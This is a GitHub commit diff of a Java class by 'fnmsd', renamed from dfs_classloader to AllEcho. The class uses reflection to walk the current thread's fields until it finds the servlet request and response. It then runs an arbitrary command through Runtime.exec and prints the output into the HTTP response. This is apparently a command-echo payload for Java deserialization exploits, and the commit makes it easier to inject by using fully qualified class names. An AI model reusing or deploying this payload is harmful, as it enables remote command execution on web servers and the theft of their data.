2
2
//Author:fnmsd
3
3
//Blog:https://blog.csdn.net/fnmsd
4
4
5
- import java .io .PrintWriter ;
6
- import java .lang .reflect .Field ;
7
- import java .lang .reflect .InvocationTargetException ;
8
- import java .lang .reflect .Method ;
9
- import java .util .HashSet ;
10
- import java .util .Scanner ;
5
+ public class AllEcho {
11
6
12
- public class dfs_classloader {
13
-
14
- static HashSet <Object > h ;
15
- static ClassLoader cl = Thread .currentThread ().getContextClassLoader ();
7
+ static java .util .HashSet <Object > h ;
8
+ static ClassLoader cl = java .lang .Thread .currentThread ().getContextClassLoader ();
16
9
static Class hsr ;//HTTPServletRequest.class
17
10
static Class hsp ;//HTTPServletResponse.class
18
11
static String cmd ;
19
12
static Object r ;
20
13
static Object p ;
21
14
22
- public dfs_classloader () {
15
+ public AllEcho () {
23
16
24
17
r = null ;
25
18
p = null ;
26
- h =new HashSet <Object >();
19
+ h =new java . util . HashSet <Object >();
27
20
try {
28
21
hsr = cl .loadClass ("javax.servlet.http.HttpServletRequest" );
29
22
hsp = cl .loadClass ("javax.servlet.http.HttpServletResponse" );
30
23
} catch (ClassNotFoundException e ) {
31
24
e .printStackTrace ();
32
25
}
33
26
34
- F (Thread .currentThread (),0 );
27
+ F (java . lang . Thread .currentThread (),0 );
35
28
}
36
29
37
30
private static boolean i (Object obj ){
@@ -57,7 +50,7 @@ private static void p(Object o, int depth){
57
50
}else {
58
51
//System.out.println("find Request");
59
52
try {
60
- Method getResponse = r .getClass ().getMethod ("getResponse" );
53
+ java . lang . reflect . Method getResponse = r .getClass ().getMethod ("getResponse" );
61
54
p = getResponse .invoke (r );
62
55
} catch (Exception e ) {
63
56
//System.out.println("getResponse Error");
@@ -67,7 +60,7 @@ private static void p(Object o, int depth){
67
60
}
68
61
} catch (IllegalAccessException e ) {
69
62
e .printStackTrace ();
70
- } catch (InvocationTargetException e ) {
63
+ } catch (java . lang . reflect . InvocationTargetException e ) {
71
64
e .printStackTrace ();
72
65
} catch (NoSuchMethodException e ) {
73
66
e .printStackTrace ();
@@ -80,8 +73,9 @@ private static void p(Object o, int depth){
80
73
}
81
74
if (r !=null && p !=null ){
82
75
try {
83
- PrintWriter pw = (PrintWriter )hsp .getMethod ("getWriter" ).invoke (p );
84
- pw .println (new Scanner (Runtime .getRuntime ().exec (cmd ).getInputStream ()).useDelimiter ("\\ A" ).next ());
76
+ String charsetName = System .getProperty ("os.name" ).toLowerCase ().contains ("window" ) ? "GBK" :"UTF-8" ;
77
+ java .io .PrintWriter pw = (java .io .PrintWriter )hsp .getMethod ("getWriter" ).invoke (p );
78
+ pw .println (new java .util .Scanner (Runtime .getRuntime ().exec (cmd ).getInputStream (),charsetName ).useDelimiter ("\\ A" ).next ());
85
79
pw .flush ();
86
80
pw .close ();
87
81
//p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
@@ -97,7 +91,7 @@ private static void F(Object start, int depth){
97
91
98
92
Class n =start .getClass ();
99
93
do {
100
- for (Field declaredField : n .getDeclaredFields ()) {
94
+ for (java . lang . reflect . Field declaredField : n .getDeclaredFields ()) {
101
95
declaredField .setAccessible (true );
102
96
Object o = null ;
103
97
try {
0 commit comments